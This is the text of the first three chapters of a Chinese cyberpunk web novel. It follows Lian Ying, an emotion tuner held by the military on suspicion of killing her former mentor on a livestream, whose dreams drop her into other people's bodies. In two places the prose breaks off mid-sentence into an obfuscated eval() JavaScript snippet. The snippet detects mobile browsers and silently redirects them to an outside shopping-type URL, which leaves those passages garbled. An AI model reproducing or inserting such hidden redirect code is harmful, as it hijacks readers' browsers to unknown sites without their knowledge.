《《夺心(赛博》》 1. 坠落 2085年12月26日 03:21 暮城 湿冷的风涌入鼻腔。 冰凉的雨点针刺般刮过脸颊。 喉咙干渴刺痛,刺骨的寒意和刀割般的痛楚侵袭全身。 连映艰难地睁开眼睛,而她自己正奔跑在一个悬浮高空的玻璃桥上,如冰的冷雨裹挟着霓虹夜幕扑面而来,脚下是电子迷宫般的都市灯火,当红偶像的巨幅全息影像在空中旋转跳跃着唱着甜蜜的歌。 “!!?” 连映有些懵,身体却依然,肌肉紧绷,动作迅捷,完全不受她本人意志操控。 等等,有什么不对劲。 她用眼睛余光四下扫视,眼角一抖:这根本就不是她自己的身体! 这是哪家的技术,感官丰富度和真实度这么高?身为一个常年穿梭于各类共感作品中的情绪流调谐师,连映有点懵,尝试调出工作界面或设置窗口,没有成功。 ……梦?总觉得有哪里不对。这个梦境也太真实了。 她想要抬手咬一下手指,验证自己是否进入了清醒梦,结果连指尖都没抬起来半分。 ……她好像无法控制这个身体。 连映心里没底,只能艰难地用眼角余光细细打量自己“附身”的这个人: 修长的双腿在湿滑栈道上跌撞前行,染血破损的西装外套被寒风掀起,露出湿透的白衬衫与紧实的肌肉线条。锁骨与手腕处泛着青紫勒痕,雨水混着鲜血顺手臂蜿蜒而下,在身后留下一路断续的嫣红。 这具身体的表面没有义体的痕迹,视野异常清晰,但没有常见的AR数据流覆盖,应该不是电子类义眼,而是经过增强的高级仿生眼或原装眼。 当今时代,纯粹的有机体反而是一种奢侈,这大概不是个普通人。 可是,这样的人为什么会这么狼狈地在雨夜逃亡? 连映被动承受着这具身体的剧痛、疲惫和高度的紧张感,心里有些纳闷。 奇怪的梦,自己居然变成了一个正在逃亡的男人。 更奇怪的是,虽然只能从玻璃栈桥上正在移动的倒影中看到一个模糊的面部轮廓,她的心依旧狠狠一跳:这个人......她好像认识。 男人踉跄着停在摩天大楼玻璃栈道尽头,单手撑住湿滑的玻璃护栏,弯下腰,剧烈地呛咳起来。 冬日夜晚的冷雨渗入衬衫领口,一股灼热的铁锈味从这具身体的喉咙深处涌上来,混合着雨水,溅落在脚下一小滩积聚的水洼里。 连映被动地承受着这具身体的肋下和肺部灼烧般的痛楚,注意力却异常清醒地随男人低垂的目光,落在脚下那滩被霓虹染得异常绚丽的积水上。 寒风吹过,水面摇晃,映出一张破碎而熟悉的脸。 湿透的黑发,浸透冷汗的白皙额头,以及血污下那双异常清明的眼睛。 此刻他姿态狼狈,面上却带着一抹若有似无的笑,笑容中蕴含着一股近乎倦怠的随意,和连映认识的那个冷清严谨的天才学者判若两人。 眼前的人,果然是她刚刚分手的男朋友,闻阗。 日无所思,夜也能有所梦吗?连映心绪复杂地想。 她想转头就走,立刻离开这个荒谬的梦境,可这具躯壳不为所动,仿佛她只是一名被困的观众。 “真是阴魂不散哪。” 梦中人咳嗽几声,抹去嘴角血迹,悠悠喟叹着直起身来。 明明被寒冷和痛楚一刻不停地折磨神经,他的声音里却带着喘息的笑意,清醇冷冽的嗓音明明是她无比熟悉的音色,却流淌着某种完全陌生的随意。 然后,透过他的视野,她被迫看见了。 视线前方,无数粘稠的黑色阴影,正从他们来时的栈道、从大楼每一面玻璃幕墙的后面,如黑色潮水般漫涌而上! 它们看起来似是虚影,又好像能遮天蔽日,所过之处连雨水都似乎被吞噬殆尽。 这都是些什么东西?!就算是梦境 连映吓了一跳,闻阗却没有丝毫意外,只是轻声叹息:“……时间到了吗?” 话音未落,那些黑压压的影子已如决堤的洪流轰然扑至身前,冰凉窒息的黑暗漫过皮肤,灌入骨骼与内脏,侵袭大脑和全身的每一束神经。 “啊!!!出去!!” 连映眼前一黑,在意识深处情不自禁地尖叫起来,浓重的排斥和恶心油然而生,对这具躯体的感知骤然模糊起来,只剩刺耳的尖啸在她周身频率极高地在耳畔嗡鸣不断。 混乱间,她感到这具身体踉跄着退到塔顶边缘。 一声格外低醇柔和低语穿透所有屏障,在她意识的最深处响起: “差点忘了说——圣诞快乐,连映。” 他对着虚空微笑,仿佛穿透时间、空间与梦境的距离同她对视。 然后,他张开双臂,向后一仰,像一只疲惫的鸟,投入身后的璀璨深渊。 猝不及防中,身体开始下坠。 所有意念瞬间消失,大脑一片空白。疾风撕扯着视网膜,城市光影在雨幕中坍缩成万花筒。 时间仿佛放慢了,坠落的这一刻被无限拉长,仿佛电影里的慢动作。视觉从未这么敏锐,每一粒雨滴都清清楚楚降落在脸上。 恍惚中,连映似乎看到了蓝色的光。 幽蓝色的光焰毫无征兆地在周身迸发,瞬间将他的身躯整个包裹,那火焰既寂静、又热烈,凄艳夺目地燃烧着,将他化作一颗下坠的、自毁的蓝色星辰。 钻入体内的黑影从体内尖啸着奔逃而出,又瞬间如同暴露在空气中的泡沫般猝然迸散。 连映的喉咙被无形的力量死死扼住,火焰在意识里炸开一片尖锐的灼痛,一股浓烈的焦味冲入鼻腔。 那不是寻常燃烧的味道,而是一种烙印于身体本能的、可怖的记忆性气味,属于皮肉与织物一同被烈焰舔舐、吞噬后糅合而成的特有气息。 对死亡的本能恐惧和焚烧的痛楚席卷全身,连映开始呼吸困难,心脏加速,耳膜和头撕裂般地疼,像一架燃烧着坠落的纸飞机,被沸涌全身的蓝色火焰彻底吞没。 “砰!” 一声沉闷的巨响过后,视野重归黑暗。 12月26日 03:27分联邦暮城特区第二卫戍区特别羁押所 “——哈!” 连映猛地从冰冷的金属审讯椅上弹起,上半身刚探出几厘米,便被电子镣铐狠狠拽回椅背。“哐当”一声,椅子在地面刮出刺耳的锐响。 冷汗浸透了她宽大的灰色羁押服,顺着她苍白消瘦的侧脸滑落,滴在冰冷的金属台面上。 梦境已经结束,但梦中那焚身的蓝焰、坠落的失重感与真切的恐惧、亢奋和痛楚依然残留大脑,来回冲刷四肢百骸。 连映的心脏狂跳不已,头部和胃部剧烈抽痛,肋下残留的梦中的灼烧感与审讯室中渗入骨髓的潮冷激烈对冲,让她抑制不住地战栗。 连映劫后余生般大口呼吸,眩晕的视线逐渐聚焦——冰冷的合成水泥墙壁,狭小的空间,空气里不见天日的潮冷气息。 这里是“静默塔”,暮城军方防务总署辖下的特别羁押所,她的牢笼。被送进来的,从无普通罪犯。 恢复清醒的同时,那串阴魂不散的警告声再次突兀地撞入脑海: 【紧急警报:侦测到非法共鸣链接!共鸣者095边缘系统过载,精神状态异常,入侵风险极高!】 【系统警报:无法切断非法链接……入侵协议检测中……链接状态:已断开……残余风险:高,监控持续中……】 “闭嘴!”她缓过神来,强行挥散自昨天入狱后便不时蹦出来的不明系统提示。 自从昨晚被抓进来审问,她一直在被苦苦拷问那些她不知道问题的答案和不能承认的指控,却在不知何时失去了意识,陷入了一场古怪的噩梦里。 梦里浸透衣衫的冷雨仿佛透过梦境侵入四肢百骸,连映感到一阵阵难以驱散的寒意,不由狠狠打了个激灵。 这只是个梦,不能当真。她反复对自己说,等待心跳逐渐放缓。 连映和前男友闻阗是案发前一天分手的,分手前两人见面就不频繁,分手时他的反应也很平静。 以她对他的了解,这段关系给他的最大困扰,大概是被调查涉嫌杀人的前女友的记者和警察隔三差五地找上门,影响他的研究进度。 今夜的梦实在荒谬,她实在很难想象,那个天天泡实验室的斯文学者会在摩天楼顶上演超自然玄幻动作电影。 更离谱的是,梦境结尾时,他居然还叫着她的名字说圣诞节快乐,搞得好像打了个be游戏结局似的。 连映自嘲地掀了掀嘴角。 自身尚且难保,居然还有闲心考虑别人? 灵魂被幽蓝火焰活生生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091500|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烫穿的痛感刚刚退去,就被通风口吹过来的一股冷风灌进了鼻腔,额头顿时突突地疼起来。 这是为了防止犯人昏睡而特意泵入的军用级“清醒剂”,能够强行抑制大脑的昏睡机制,让受审者的神经始终处于濒临崩断的紧绷状态,直至心理防线彻底溃决。 但这一次它似乎并不如以往那般有效:椅子上年轻瘦弱的女犯人刚刚从昏迷的噩梦中惊醒。 “醒了?” 对面传来一道冷漠的女声。 连映艰难地抬起头,视线花了足足五秒才聚焦。 对面,特勤局的女调查官陆靖遥穿着剪裁锋利的深灰色战术制服,正抱臂看着她。而在她身边的阴影里,还坐着一名神色阴鸷的男调查官,正百无聊赖地把玩着一只全息投影笔。 陆靖遥看了一眼墙上的时间,又看了看连映那张惨白如纸的脸,嘴角勾起一抹嘲讽的弧度: “我是该为你这惊人的耐药性感到佩服呢,还是该庆幸你只‘睡’过去了几分钟?在军用清醒剂下还能瞬间进入深度睡眠……现在我倒真有些佩服你了,连映。 连映动了动干涩得像是吞了沙砾的喉咙,没有接话。 她的大脑还在因为刚才那个过于真实的“梦”而剧烈震颤。 从昨天下午在创联发布会的案发现场被特勤局带走到现在,她的头痛就愈演愈烈,时常会出现不明幻听。进入这间审讯室后,症状越发加深了。 为了转移注意力,她开始努力观察对面的白墙,因为她总觉得刚刚墙上好像有一块黑色的阴影动了一下,像活的。 “既然醒了,那就别浪费时间。” 旁边的男调查官不耐烦地打了个响指,“提提神,复习一下她的杰作。” 随着他的动作,房间中央一个全息投影装置瞬间激活,光芒汇聚成的全息影像中央,一个西装笔挺、英俊斯文的男人正站在一个巨大的神经共振画板前。 此刻,他身姿华贵、风度翩翩,灰色长发束至耳后,时光仿佛在他三十岁那年凝固。璀璨耀眼的冷光下,他的面容透着一丝过分的苍白,淡淡微笑的姿态宛若二十年前那张轰动联邦的旧影重现。 他是世界知名的顶尖艺术家,也是著名科学家、联邦科学院院士,易楚生。 接收到直播开始的讯号,易楚生抬手关掉光屏上的复杂波形,慢条斯理地转过身,嘴角略略牵起一丝笑容,向镜头点头致意。 “大家好,我是易楚生,是创联公司(ChuangLian)本年度神经芯片的首席设计师兼艺术顾问。”他的声音温和而富有磁性,“今天,我们将一起见证人类认知的又一次飞跃……” 他稍微停顿了一下,似乎在调整呼吸。 忽然—— “哈哈哈哈哈哈哈——” 毫无预兆地,他的声音古怪地变调,高亢地笑了起来。 全息投影上,易楚生两眼大睁到几乎脱出眼眶,嘴巴大张,笑声癫狂至极。 在那疯狂的笑声中,两行黑红的血液毫无预兆地从他的眼角和鼻孔中蜿蜒流下,紧接着,粉色的泡沫混合着鲜血从他狂笑的嘴里喷涌而出。 正常人此刻早已倒下,可他依然直挺挺地站着,在那剪裁考究的黑色西裤下,由于脊髓神经最后的错乱放电,竟不由自主地撑起了一个尴尬而亵渎的弧度。 他就顶着这副极度不堪的生理丑态,任由鲜血染红了衣襟,继续用那满是血沫的喉咙,向全世界挤压出撕心裂肺的狂笑和窒息的呛咳,丝毫没有十几秒钟前的优雅冷静。 这声音,与六年前画室里那个掐着她手腕的男人的喘息重叠在一起。 这不是连映第一次看到这个场景,可面对此情此景,她的胃囊深处依然不受控制地猛烈紧缩了一瞬。 连映睫毛颤了颤,强忍住没露出任何表情。 几秒钟后,那具失去生命特征的躯壳终于支撑不住,“砰”地一声重重砸在画板上,带倒了身旁的仪器。 砰——! 也许是后台的工作人员刚刚反应过来,全息投影信号瞬间断连。 发布会舞台中央的死亡现场毫无征兆地闪烁了两下,随即像破碎的肥皂泡一样炸成了一片灰暗的噪点,聚光灯下的舞台瞬间变得空空荡荡。 几秒钟的死寂后,屏幕里传来了现场观众惊恐的尖叫。 “死人了——!!!” 2. 审讯 “啪!” 身着制服的男调查官打了个响指,影像熄灭,审讯室重归沉寂。 “死因是中枢神经系统过载引发的心脏骤停和脑溢血,伴随严重的脊髓失控。” 女调查官的声音打破了沉默,语气冰冷而玩味。 “相当罕见、也相当具有羞辱性的死法。作案手法很干净,整个过程隔空完成,使被害人的大脑在一瞬间接收了过量快乐,直接烧断了脑芯的‘保险丝’,连带着括约肌和生殖神经一起乱了套。” 她用手指虚点了点画面中易楚生的下半身,饶有兴致地说:“连映,事发时你就在台下坐着,看着昔日的‘恩师’当众出丑去世,有没有想起什么似曾相识的往事?” 她在故意刺激她,想让她失控。 连映强迫自己从那股反胃的幻痛中挣脱出来,面无表情地说:“没想起什么,这和我无关。” “和你无关?”女调查官冷笑一声,“连映,搞清楚你的处境。如果这只是一起普通的谋杀案,你现在应该坐在市局里喝茶,而不是被关在军方的羁押所里吸清醒剂。” 她指了指头顶的监控探头,冷笑一声道:“可惜,你现在的罪名不止是一级谋杀嫌疑,还有“在全频段直播中蓄意制造大规模社会恐慌”。这属于国家安全范畴,归军方管。” “你在创联这种垄断巨头的新品发布会上,在全频段直播的镜头下,当众‘处刑’了副总统的亲弟弟。你知道这引发了什么吗?暮城的安全评级在一夜之间掉了十二个点,公众恐慌指数爆表! 托你的福,现在不光全联邦,全世界都在关注这个案子,现在你可是名副其实的世界级网红了!” 连映心下一凛。 制造恐慌……这不是他们抓恐怖分子才会用的罪名吗?这样,案件的性质就彻底变了。 到底是谁,费尽心机也要致她于死地? 见对面一直相当冷静的女犯人表情微变,女调查官唇角微勾,调出了另一份档案: “昨晚之后,我们连夜查了你的底。易楚生是你的导师,也是当年让你不得不转专业的‘原因’。” 她盯着连映的眼睛,一字一句,语气刻意带着一股微妙的恶意:“据说,你为了资源和前途长期和他维持不正当关系,但父亲出事入院后,你向他要钱不成还伤了他,最后以私了告终。 事后,你们关系破裂,你恨他入骨,还向学校举报他,最后他确实不再担任教职,但你也被行业软封杀,还要忍受来自外界的流言蜚语。 因此,毕业以后你就改了行,还和昔日的同学朋友都断绝了关系。” 说到这,她停顿观察连映的表情,像在欣赏猎物的挣扎,又像是真心惋惜: “曾经的艺术天才从此陨落,靠打零工度日,想必你这几年心里不好受吧?结合那些关于‘不正当关系’的流言,以及你后来对他的举报……动机,你有了。” 连映放在膝盖上的手指微微收紧。 真相和流言往往相去甚远。 从前她以为至少执法者会在意前者,但现在看来,在这些军方特勤局精英眼里,重要的是快速结案。 “调查官,‘谣言’和‘真相’是两回事。”连映直直迎上对方的目光,语气冷静而坦然。 “五年前我和易楚生没任何不正当关系,五年后我更不会因为他毁掉我自己。没有确凿的证据,你们不能随便指控我杀人,而且我还知道,再过几个小时,你们就必须放我走。” 她自认问心无愧,过去的事情已经发生,没什么可遮掩的。 “放了你?你想多了。” 男调查官冷笑一声,顺手在空中甩出几个盖了章的全息扫描图。 “昨天晚上你的嘴很硬,是仗着我们没实锤吧?可惜,就在今天凌晨,技术科破解了现场日志。 案发九分钟前,死者的脑芯日志记录到你的生物密钥出现在一米范围内。” 他盯着连映,“在那九分钟空档期,你在哪里?” 警方的陈述清晰明了,证据也看似确有其事。 连映却抬头直视着对方反驳道:“那天发布会人很多,场面很乱,就算无意中路过留下了生物密钥的近距离记录,也不能证明我实施了攻击,不是吗?” “只有密钥当然不够。” 调查官动动手指,全息屏上弹出一个残破焦黑的设备模型: “但是,我们还在休息室旁的女厕所找到了这个——被强酸销毁的设备终端残骸。虽然烧毁了,但底层的神经同调锁的记录还在。” “连映,你是专业的,应该知道这种军用级改装设备的安保级别。它需要实时匹配使用者的脑波频率。除了你,没人能扣动这个扳机。 “现在的证据链是:你有动机,你在现场,凶器是你专用的,且只能由你使用。你还要告诉我,你是无辜的吗?” 连映看了一眼影像上那台熟悉的设备残骸,心脏猛地沉了下去。 那确实是她的东西。 “经过破解或改装,任何人都能用它做任何事。”连映强作镇定,反驳道,“只要付钱,路边小店都能现场刷机。这不能证明是我操作的。” “这台机器根本没有改装或刷机痕迹,狡辩没有用,连映。现在我们证据和动机都有,已经足以判定你有重大作案嫌疑,否则你也不会被关在这里。”男调查官不以为然地说。 连映紧闭嘴唇,努力思考该怎么回应。 这是一个完美的死局。有人偷了她的密钥,用了她的设备,杀了易楚生,然后把这一切做得天衣无缝。 就在这时。 “滴!” 一声只有女调查官自己能听到的通讯提示音突然响起。 她的眉头皱了起来,显然对审讯中途被打断感到不满。但当看清视网膜上弹出的消息等级是“红色加急”时,她的眼神变了。 她抬手按了一下耳后的神经接口,起身走出门去。 几秒钟的沉默。 审讯室里的空气仿佛凝固了。 “……确定吗?”陆靖遥低声问了一句。 通讯那头似乎给了肯定的答复。 “知道了。继续搜。” 陆靖遥切断通讯,用手指在桌面上无意识地敲击了几下,似乎在重新评估眼前的局势。 片刻后,她抬起头,眼神森寒: “发生了一件有意思的事,你一定会感兴趣。想知道吗?” 连映的心脏猛地漏跳了一拍。 “就在十分钟前,我们要好的兄弟单位接到了一起报警。” 陆靖遥没有卖关子,她细细观察着连映的微表情,语速放得很慢: “有人声称,在暮城B区,亲眼看到有人从创联塔顶上跳下来了。报警人是个醉汉,但他信誓旦旦地说,死者就是那个之前在网上很红的天才科学家,闻阗。” 说着,她挥手放出创联塔极其周边区域的的全息影像:高楼林立、灯火璀璨的雨夜中,少女偶像闪闪发光的影像甜美高歌。 等等,这不是昨夜梦里的—— 如同一道电光忽然闪过脑海,昨夜的梦境和现实的场景交叠,连映猛地打了个寒颤,鼻腔中仿佛又泛起昨夜梦中的混杂着铁锈味的雨水气息。 随着梦里冷雨的气息一起侵袭而来的,还有那冰寒的、浸透全身久久不散的湿冷感。连映反射性般地打了个寒噤,这瞬间的动作被对面的两个调查官尽收眼底。 “但是,”陆靖遥话锋一转,压低了声音,“当巡逻警卫赶到报警地点时,那里什么都没有。没有尸体,没有血迹,只有一滩雨水。那个报警人也被找到了,看到警察来了,他又改口说自己喝多了,看错了。” 连映眼眸低垂,没有说话。 “本来,我们会把它当成无数个无聊的恶作剧之一处理。但是……” 女调查官冷笑一声,调出了一张红色的数据图,狠狠击碎了连映刚刚升起的一丝侥幸: “当我们试图联系这位‘当事人’进行核实时,发现了一件怪事。” “闻阗失联了。” “他的个人终端、脑芯信号、甚至家里的安防系统,全部离线。就像是从这个世界上凭空蒸发了一样。” 女调查官盯着连映的眼睛,一字一顿地逼问: “连映,这太巧了。你在这里受审,你的前男友就在外面搞‘自杀’戏码,然后人间蒸发?” “告诉我,他在哪?这是你们计划好的脱罪路线吗?” “……那个报警人,”连映突然开口,声音轻得像羽毛,却带着一种执拗,“他有没有提到……火?” 女调查官愣了一下:“什么?” “我说……”连映抬起头,清冷的眼睛里多了一抹认真的探究:“除了跳楼,报警人有没有提到……尸体在燃烧?或者现场有烧焦的痕迹?” 女调查官像看疯子一样看着她。 “火?连映,你脑子真的睡糊涂了?” 她指了指全息屏上显示的实时天气: “今天是冰雨夜,不会有人在这种天气户外纵火,现场没有任何燃烧痕迹。别说火了,那个醉汉连个烟头都没看见。” 没有火……连映在心里轻轻吁了口气。 她低下头,看着自己因为剧痛而微微痉挛的指尖,在心里发出一声自嘲的冷笑。 梦中,闻阗是在创联塔附近某个有玻璃栈桥和玻璃幕墙的摩天大楼顶层跳下去的,但她对创联塔周边不熟,无法确定具体方位。 创联塔周边是暮城B区最繁华的区域之一,附近的监控设备和巡逻机器人多如牛毛。 即使冰雨夜并无行人往来,也不管是有人移动尸体、还是坠楼者其实并没有死而是爬起来跑掉,一个存在都很难在这个时代凭空消失。 除非……有人能够在短短数分钟时间内抹除一切痕迹。 也许是被那个过于真实的梦境干扰了判断,连映猛地止住思绪。 她为什么会默认闻阗已经死了?是因为那个梦?可昨夜梦里的一切都太过荒诞,不能当真。 那个坠亡的故事无论真假,可能都和闻阗毫无关系,一切只是个巧合。永远理智、精密、像个完美容器一样活着的闻阗,怎么可能会“自焚”后坠楼身亡? 梦只是梦,失踪也只是失踪,不是死亡,无论是闻阗,还是......母亲。 那些蓝色的火焰,那些痛苦的笑容,不过是她在高压审讯和药物作用下,大脑皮层产生的应激反应罢了。是她潜意识里对死亡的恐惧,投射到了那个梦里,变成了她噩梦中的火。 “幻觉和现实混淆,往往是创伤后应激反应的表现之一。”连映用专业知识在心里冷冷地提醒自己。 “你在嘀咕什么?”女调查官失去了耐心,猛地拍了一下桌子,“连映!我在问你话!闻阗到底在哪?” “很遗憾听到这个消息。”沉默片刻,连映开口,眉头微蹙地忍耐着越来越剧烈的头痛和胃痛,声音轻得像羽毛,“但是,我们在案发前就已经分手,分手后再也没见过,我并不清楚闻阗的去向。” “是吗?”男女调查官意味深长道:“你们分手就在案发前一天?真巧。更巧的是,案发后他整个人好像就这么凭空消失了,再也没出现过。 她突然逼近,将一张新的全息影像甩到连映面前: “你说分手后再也没见过他……本来,我们是想相信你的。可惜,我们找到了更有说服力的证据。” 连映抬起头。 影像中,一个很像连映的女人正跌跌撞撞地跑在走廊上,被西装领口别着显眼蓝色胸针的闻阗一把拉住,二人的身影随即消失在监控死角。 “这是假的,这根本没有发生过这样的事!” 看到和自己的记忆迥异的画面,连映瞳孔骤缩,几乎要从椅子上跳起来,又被机械狱警硬生生按下。 “别激动,其实我能理解你的心情。不过,该走的流程还是得走,既然证据也有了,现在我们开诚布公谈一谈,怎么样?” 女调查官暗中松了口气,姿态终于放松了几分,甚至顺口劝慰了一句眼前面色苍白的年轻女犯人。 “案发前几分钟内,你和易楚生、闻阗都有过近距离接触。现在物证,动机,监控一应俱全,你实话实说,没准还有救。 要是闻阗真的落到了创联手里,再拖下去,恐怕连渣都不会剩下。除非……你根本不想救他。” 说谎。如果那个坠楼的人真是闻阗,说不定现在已经渣都不剩了。 连映深吸一口气,逼自己冷静下来。 她在暗示什么?军方是怀疑闻阗是她的同伙,还是怀疑她杀了闻阗? 想到这,她坚决否认道:“这段监控不是真的,当天我根本没见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091501|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……唔……” 太阳穴和胃部的痛楚一同袭来,她咬了咬牙,正想继续说,一段纷乱陌生却又无比真实的画面却毫无征兆地浮现眼前: 长长的走廊,一只突然朝她伸过来的熟悉的手,手的主人胸前一晃而过的蓝色胸针,陌生的房间,以及……房间深处,端坐在扶手椅上的易楚生面无表情的、惨白的脸。 还有他原本穿着衬衫,此刻却赤裸的胸膛。 那里并没有流血,但他胸口的皮肤正透出一种妖异、滚烫的深红光芒。 那光芒在他皮下游走、汇聚,像某种活着的能量,瞬间在他胸口勾勒出一个清晰到似乎要破体而出的图案—— 一只漩涡般的、似乎要把人吸进去的眼睛。 昏暗之中,那只眼睛隔着他薄薄的皮肤正对着房门口的连映,仿佛要将她的灵魂吸进去般死死瞪着她。 就在这时,一个黑色的虚影在光芒中骤然窜出,直冲她而来! “呃……” 回忆画面戛然而止,连映发出一声痛苦的闷哼,头痛欲裂,浑身汗毛竖起,心脏砰砰地几乎要跳出胸膛。 刚刚那些画面到底是什么?是受调查官审讯话术的诱导和压迫产生的幻觉吗? 她像虾米一样蜷缩起来,双手死死抱住头,过了好几秒钟才缓过来。 “监控经过多重生物特征比对,无任何伪造痕迹。”待她恢复正常,女调查官冷冷地道。 “连映,装疯卖傻没有用。证据就在眼前,不要再抵赖了!是你杀了易楚生吧?有没有人在背后指使?你手里还有没有其他东西?闻阗是不是也参与了你的计划?他现在在哪?!” 调查官步步紧逼,一句句论断般的质问在连映耳边隆隆作响,堆起一座黑压压的乌云压在山头。 “真的不是我,我什么都没做……”胃痛和头痛越发剧烈,连映冷汗涔涔地说。 见证据出来她还不松口,旁边那个从昨天开始一直没睡的男调查官感到有些心浮气躁。他随手调低耳边正在喋喋不休些什么的技术员频道的音量,面色一沉,语重心长地说: “连映,易楚生的案子下个月就公诉。不管你认不认,目前的证据已经足够给你定罪了。” 他伸出食指向上指了指:“你也知道死者的哥哥是干什么的,再加上创联那边急着要结果,两头施压,这案子没得翻。到了那时候,你能不能顺利活着服刑都是个问题。” 说到这,他目光直视着连映,看上去十分令人信服地说:“但是,如果你能配合调查,现在就开口交代,顺便把手头藏着的东西交出来,我们就能帮你保住性命。” 一旁的女调查官闻言嘴角微微一撇,面上倒浮起个恰到好处的笑,语气一改刚才的咄咄逼人,开口配合道: “连映,你的事我们都去了解过,包括你母亲的案子。这些年你一路走来确实不容易,但你得明白,现在盯着这个案子的可不光是我们。” 她的眼睛里流露出一种恰到好处的忧虑:“闻阗是公司精英,也是知名公众人物,连他都没法保全自己,你觉得接下来会轮到谁?你妹妹,还是你继母?……” 调查官的声音在耳边忽远忽近,连映胃部和头部的疼痛却骤然清晰起来,野火燎原般顺着全身神经在体内无限延伸、沸腾。 梦里的霓虹光影和易楚生流血的扭曲笑容在眼前晃动堆叠,与连日堆积的情绪一同,顺着痛觉神经逆流而上。 梦境里玻璃幕墙中闻阗从容举枪的陌生姿态,下坠前他那句“圣诞节快乐”,父亲临终前失神不甘的呼唤,照片里母亲永远年轻明朗的笑容...... 扭曲的记忆碎片化作幻觉袭来,连映眼前一黑,浑身燃起灼烧般的痛意。 她忽然意识到什么,顾不上疼痛,倏地转头向身侧看去,下一秒,视线骤然凝滞: 妈妈的幻影以往只在她精神不稳定时出现,可这样焦急担忧的表情......她已经很没见过了。 妈妈,别担心,我没有崩溃,也不会承认没做过的事。 可是,妈妈,我的头好疼,你能不能再抱抱我,就像小时候那样…… 混乱的思绪纷乱掠过脑海,连映撑开眼眶,努力伸手去拉母亲的手,触碰到那虚幻身影的一刹那,眼前人却如泡沫般消失不见。 她怔怔地望着,闻阗的身影取代了母亲忽然闪现,浑身浴血,沉静如海的眸子透过虚空静静凝视着她。 连映慢慢把手收了回来。 显然,他和刚才母亲的身影一样,都只是她又一次的幻觉。 她怔怔地对着幻觉中的闻阗发呆,忽然想起前一夜那个逼真的梦里他脸上陌生的神情,心里有些古怪。 在此之前,连映从未在梦里或幻觉里见到闻阗,她的幻觉里向来只有母亲,从没出现过其他人。难道和昨夜的梦有关? 幻影似乎对她的心思有所察觉,蓦地诡秘一笑,嘴唇无声翕动,做了几个口型。 连映正要定睛去瞧他的嘴型,头颅里的痛楚却陡然加剧,如同好几块大石同时敲击,她耳边嗡的一声,从椅子上一头栽倒下去。 “!!!” 连映的意识倏然从身体中抽离,闻阗的身影连同审讯室的一切变得无比遥远,剧烈的头痛不见了,一种无边无际的幸福感淹没了她的口鼻、眼睛,没过头顶。 她感到自己正和宇宙万物融为一体,刚刚还萦绕心中的悲伤、愤怒、分离和孤独消失不见,取而代之的是完整的平静和极乐的幸福感。 恍惚间,她感到自己似乎身处巨大的黑暗广袤的宇宙空间,眼前流动着星空中无尽旋转的、令人眩晕的光斑。 它们如同拥有生命般汇聚、变形,化为无数条纤细的、闪烁着幽光的半透明触须,在她眼前鼓胀着,游弋着,狂舞着,穿透审讯室的墙壁,将她的意识拖拽向未知的远方。 忽然,一道陌生的系统提示音从脑海响起,极乐和幸福倏然消失,只剩冰冷的无机质嗓音回荡耳畔: 【警告!精神阈值突破!正在启动非常规精神泄压程序……启动“信标”路由……正在搜索可共鸣的共鸣者坐标……】 【检测到高强度外部共鸣信号源,共鸣系统激活!坐标:#002-B5,目标临时编号:载体X-07……共鸣链接建立!本次共鸣链接时长倒计时:00:60:00】 【意识跃迁开始。】 3. 夏雨-第一次链接 再次恢复意识,率先冲入脑海的是一股混合了臭氧、腐烂垃圾与焦糊味的刺鼻恶臭。 紧接着是视觉的极度混乱。 连映眼前并没有审讯室的惨白天花板,而是悬浮着两层令人眩晕的、重叠在一起的数据界面: 一层是散发着幽幽蓝光的不明系统面板; 另一层则是这具身体佩戴的战术目镜投射出的、跳动着绿色代码的AR视野。 蓝光与绿光交织,像两层没对齐的底片死死挡住了视线,晃得人头晕眼花。 连映强忍着恶心,视线穿过那些乱码,聚焦在那个幽蓝色的系统弹窗上: 【正在解析外部共鸣数据流……】 【位置锁定:创联生物科技-第三区特种物料回收中心(内部代号:深井)……L2-净化处理层】 【长期任务X07-00:将载体X-07对您的信任值提升至100。】 当前信任值:-50/100(极度警惕,敌意满满) 任务奖励:载体X-07(夏雨)的完全控制权。 共鸣、任务、载体?这都什么跟什么?连映一头雾水地溜了一圈屏幕上的文字,一个熟悉的数字引起了她的注意。 “共鸣者095”? 连映看着那个熟悉的囚号,心里忍不住冷笑一声。 095这是她在羁押所的编号。 这个狗屁‘系统’的拟感体验做得这么逼真,却连她的ID都懒得换一个吗?还是说,这是在故意提醒她,这一切不过是监狱里的另一场刑罚? 还有,系统说这个场景是创联大厦的地下垃圾回收“深井”…… 怎么又是创联?她一和这个公司扯上关系就没好事。 连映厌恶地皱了皱眉,下意识想抬手把眼前这些像流氓弹窗一样的系统界面划走。 然而下一秒,她心头一惊—— 她的手纹丝不动。 那种感觉极其怪异,明明能感觉到四肢的存在,却像遭遇了鬼压床一样,完全失去了对身体的控制权,就像一个副驾上的乘客,或者舞台上无法控制自己躯体的傀儡木偶。 等等,这种感觉,有些熟悉——是刚刚那个坠楼的梦! 在梦里,她也是这样被困在另一个人的身体里,只能眼睁睁看着他奔跑、燃烧、坠落,却动弹不得。 难道那个梦……也是这种所谓的“共鸣”?当时确实也冒出来了所谓的“系统提示”…… 连映没有继续深思下去,眼前晃动的乱码让她心里烦躁。既然手动不了,那就—— “关闭系统界面。” 她试着在脑海中用意念发出一道强硬的指令。 